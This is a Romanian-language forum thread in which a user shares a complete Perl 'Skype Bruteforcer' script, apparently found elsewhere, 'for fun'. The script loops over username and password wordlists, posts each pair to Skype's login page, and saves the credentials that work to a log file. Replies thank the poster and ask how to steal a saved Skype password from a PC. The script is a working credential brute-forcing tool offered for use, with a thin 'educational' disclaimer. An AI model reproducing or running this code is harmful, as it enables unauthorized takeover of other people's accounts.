MecaniQ Posted March 10, 2012 Report Share Posted March 10, 2012 Nu eu am facut scriptul eu doar lam gasit si am zis sa il postez sa va distrati:)Aveti nevoie de linux pentru acest script.#!perl#----------------------------------------------------------------------------------------------|#With this program you can bruteforce skype accounts |#Authors: Alexander Rachev (a.k.a matrix_killer) |#Contact: matrix_k _at_ abv.bg |#Version: 1.0 | #Copyright: this program is under a Creative Commons Attribution 2.5 Bulgaria License. |#Greets: Bl0od3r, Acid_BDS, Alpha-fan and all other friends[they know who they are ] |# !WARNING! |# THIS PROGRAM IS MADE FOR EDUCATION PURPOSES ONLY ! I'M NOT RESPONSIBLE FOR YOUR ACTIONS !!! |#----------------------------------------------------------------------------------------------|#http://search.cpan.org/~dland/Crypt-SSLeay-0.54/SSLeay.pm IS REQUIRED !!!! use Getopt::Std; use HTTP::Request::Common qw(POST); use LWP::UserAgent;$SIG{'INT'} = \&sig_catch;$SIG{'HUP'}='IGNORE';$SIG{'TERM'}='IGNORE';$SIG{'CHLD'}='IGNORE';$SIG{'ALRM'}='IGNORE'; $| = 1; sub sig_catch { exit; } getopts('u:p:'); our($opt_u,$opt_p); my $userlist = $opt_u; my $passlist = $opt_p; if ($userlist eq "") { print "\n"; print "***************************************************************************\n"; print "Skype Bruteforcer v1.0 \n"; print "By Alexander Rachev(a.k.a matrix_killer) \n"; print "usage: perl $0 -u <users> -p <passwords> \n"; print "***************************************************************************\n"; exit (1); } open(USERS, "<$userlist") || die ("Cannot open username file"); open(WORDS, "<$passlist") || die ("Cannot open password file"); @users= <USERS>; @words= <WORDS>; close(USERS); close(WORDS); $i=0; foreach $user (@users) { chomp($user); foreach $pass (@words) { chomp($pass); $ua = LWP::UserAgent->new; printf("\n%5d Trying $user:$pass", ++$i); my $req = POST 'https://secure.skype.com/store/member/dologin.html', [ username => $user, password => $pass, login => 'Sign+me+in' ]; my $res = $ua->request($req); if ($res->as_string =~ /cookiecheck/gi) { open (LOG, ">>bruted_skype_accounts.txt"); $time = time(); $loctime = localtime($time); print LOG "\n"; print LOG "Time: $loctime\n"; print LOG "username: $user\n"; print LOG "passowrd: $pass\n\n"; close(LOG); }}} 1 Quote Link to comment Share on other sites More sharing options...
connected Posted March 10, 2012 Report Share Posted March 10, 2012 thx, va fi de folos Quote Link to comment Share on other sites More sharing options...
mihai22 Posted April 2, 2012 Report Share Posted April 2, 2012 ce program pot fura parola skype din pc ? daca a fost memorat... Quote Link to comment Share on other sites More sharing options...